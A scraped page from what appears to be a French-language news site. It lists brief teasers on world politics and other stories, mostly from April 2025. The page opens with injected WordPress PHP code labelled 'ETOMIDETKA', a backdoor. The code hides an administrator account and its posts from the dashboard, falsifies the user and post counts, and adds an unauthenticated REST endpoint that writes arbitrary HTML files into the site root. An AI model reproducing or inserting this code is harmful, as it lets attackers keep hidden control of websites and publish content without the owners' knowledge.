//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Le PDG de LVMH, Bernard Arnault, critique la «bureaucratie» européenne et plaide pour un accord de libre-échange avec les États-Unis, qu’il juge essentiel...
ByEbene Mediaavril 18, 2025Alors que les négociations américano-iraniennes reprennent à Rome, le secrétaire d’État américain Marco Rubio presse les Européens de rétablir les sanctions contre l’Iran,...
ByEbene Mediaavril 18, 2025Les scientifiques britanniques déclarent avoir trouvé une potentielle « biosignature » sur l’exoplanète K2-18b, située à environ 120 années-lumière de la Terre, dans...
ByEbene Mediaavril 18, 2025Oleg Didenko, directeur de la Commission électorale centrale d’Ukraine, a déclaré qu’il était crucial de ne pas trop tarder à organiser les élections...
ByEbene Mediaavril 17, 2025Le président américain a fait savoir qu’il n’était pas favorable à la proposition israélienne de frapper les sites nucléaires iraniens, préférant la voie...
ByEbene Mediaavril 17, 2025Alors que l’État hébreu a lancé une offensive dans la bande de Gaza pour éliminer les derniers bataillons du Hamas, l’armée israélienne empêche...
ByEbene Mediaavril 17, 2025Alors que Chisinau renforce sa pression sur cette région autonome du sud de la Moldavie, des milliers de personnes se sont rassemblées ce...
ByEbene Mediaavril 16, 2025En visite à Niamey ce 16 avril, le chef de la diplomatie nigériane Yusuf Tuggar tente de renouer les liens avec le Niger,...
ByEbene Mediaavril 16, 2025Le président des États-Unis a écarté une demande de Volodymyr Zelensky, portant sur 10 systèmes Patriot, qu’il affirmait être «prêt à payer». «On...
ByEbene Mediaavril 16, 2025Le Premier ministre socialiste sortant est accusé d’avoir approuvé une loi d’amnistie des séparatistes catalans en échange de leur soutien pour sa reconduction à la tête...
ByEbene Medianovembre 15, 2023Here's what you need to know to watch the 2023 Westminster Dog Show.
ByEbene Mediamai 10, 2023Willow ne paie pas de mine, mais elle atteint apparemment un degré de performance jamais approché. L’annonce, sidérante mais crédible, a fait l’effet...
ByEbene Mediadécembre 11, 2024La ministre des Sports Amélie Oudéa-Castera a été renvoyée en procès dans l’enquête de la Cour de justice de la République (CJR), après...
ByEbene Mediajuillet 4, 2024La perspective d’un appel d’offres de l’armée lettonne d’un montant de 900 000 euros pour l’achat de sabres d’apparat pour ses officiers a...
ByEbene Mediaavril 16, 2025La Cour suprême britannique a jugé que la définition de «femme» dans la loi sur l’égalité de 2010 ne s’étendait pas aux femmes...
ByEbene Mediaavril 16, 2025Alors que Washington fait pression pour obtenir le désarmement du Hezbollah, le président libanais a fait savoir qu’il était favorable à l’intégration de...
ByEbene Mediaavril 16, 2025Le Premier ministre israélien s’est rendu dans la bande de Gaza pour insister sur l’importance de l’offensive en cours dans l’enclave palestinienne. L’armée...
ByEbene Mediaavril 16, 2025Le Premier ministre slovaque Robert Fico a annoncé le 15 avril qu’il se rendrait aux célébrations du Jour de la Victoire à Moscou...
ByEbene Mediaavril 15, 2025Lors d’un appel téléphonique entre Emmanuel Macron et Benyamin Netanyahou, le président français a remis sur la table la «perspective de la solution...
ByEbene Mediaavril 15, 2025Dans un entretien accordé au média britannique UnHerd, le vice-président américain JD Vance s’en est vivement pris à la politique migratoire et sécuritaire...
ByEbene Mediaavril 15, 2025Varsovie n’a pas l’intention de faire preuve de solidarité dans la question de l’aide à l’Ukraine à titre gratuit, a déclaré Donald Tusk,...
ByEbene Mediaavril 15, 2025En pleine offensive israélienne à Gaza, les États-Unis ont approuvé une nouvelle livraison d’armes à l’État hébreu, comprenant plus de 20 000 fusils...
ByEbene Mediaavril 15, 2025